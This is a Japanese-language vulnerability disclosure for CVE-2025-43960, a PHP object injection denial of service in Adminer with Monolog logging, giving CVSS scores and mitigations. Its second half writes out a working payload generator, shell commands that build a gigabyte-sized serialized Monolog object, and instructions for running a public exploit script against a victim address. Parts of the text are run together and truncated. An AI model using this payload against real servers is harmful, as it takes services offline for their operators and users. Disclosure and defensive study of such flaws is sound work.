
MITRE からの回答を数ヶ月待った後、Adminer サービス (<4.8.1) に対する PHP オブジェクトインジェクション攻撃により、メモリ操作を介したサービス拒否 (DoS) を引き起こす CVE-2025-43960 を取得しました。
https://github.com/user-attachments/assets/ebf7d8e8-01db-4d02-bb12-33321c749458
この脆弱性により、リモートの未認証の攻撃者は、Monolog を使用する Adminer 4.8.1 インスタンスを悪用し、PHP オブジェクトインジェクションを介してサービス拒否 (DoS) を引き起こすことができます。 攻撃ベクトルは認証やユーザー操作を必要としないため、これは高深刻度の問題 (CVSS 7.5) であり、特定の共有環境では 8.6 にまで悪化する可能性があります。
Adminer 4.8.1 で Monolog を使用したログ記録を行っている場合、s:1000000000 のような文字列を持つ巧妙に細工されたシリアル化ペイロード (いわゆる PHP オブジェクトインジェクション問題) によって、サービス拒否 (メモリ消費) が引き起こされます。この脆弱性は、ログ記録に Monolog を使用する Adminer インスタンスに影響し、信頼できないユーザー入力が適切な検証なしにデシリアライズされます。
大きなデシリアライズされたオブジェクトを送信することで、攻撃者は高いメモリ消費を強制し、Adminer インターフェイスを応答不能にし、サーバー全体の DoS を引き起こす可能性があります。
基本スコア: 7.5 (High)
ベクター: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
特定のデプロイに関する注意:
Adminer のクラッシュが他のサービス/テナント (例: コンテナや共有プロセス) にも影響を与える場合、スコープ: 変更 が適用される可能性があります:
- ベクター:
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H- スコア: 8.6 (High)
unserialize() を使用しない。memory_limit) を適用し、過剰なリソース消費を防ぐ。unserialize() で allowed_classes を使用して、許可されていないクラスのデシリアライズを制限する。< 4.8.1 (テスト時点での最新安定版)unserialize() を介した PHP オブジェクトインジェクションペイロードの生成:
head -c 1000000000 </dev/zero | tr '\0' 'D' > filler.txt
echo 'O:32:"Monolog\\Handler\\SyslogUdpHandler":2:{
s:9:"*socket";r:2;
s:10:"*handler";s:1000000000:"'$(cat filler.txt)'";
}' > payload.txt
影響:
python3 --version を実行して確認できます。git clone https://github.com/far00t01/CVE-2025-43960
cd CVE-2025-43960
pip install -r requirement.txt
python3 cve-2025-43960.py
python3 cve-2025-43960.py
Usage: cve-2025-43960.py <ip-listener> <port-listener> <ip-victim:port>
Example: python3 cve-2025-43960.py 198.51.100.11 80 203.0.113.11:8000
Fabian Rosales (@far00t01) Medium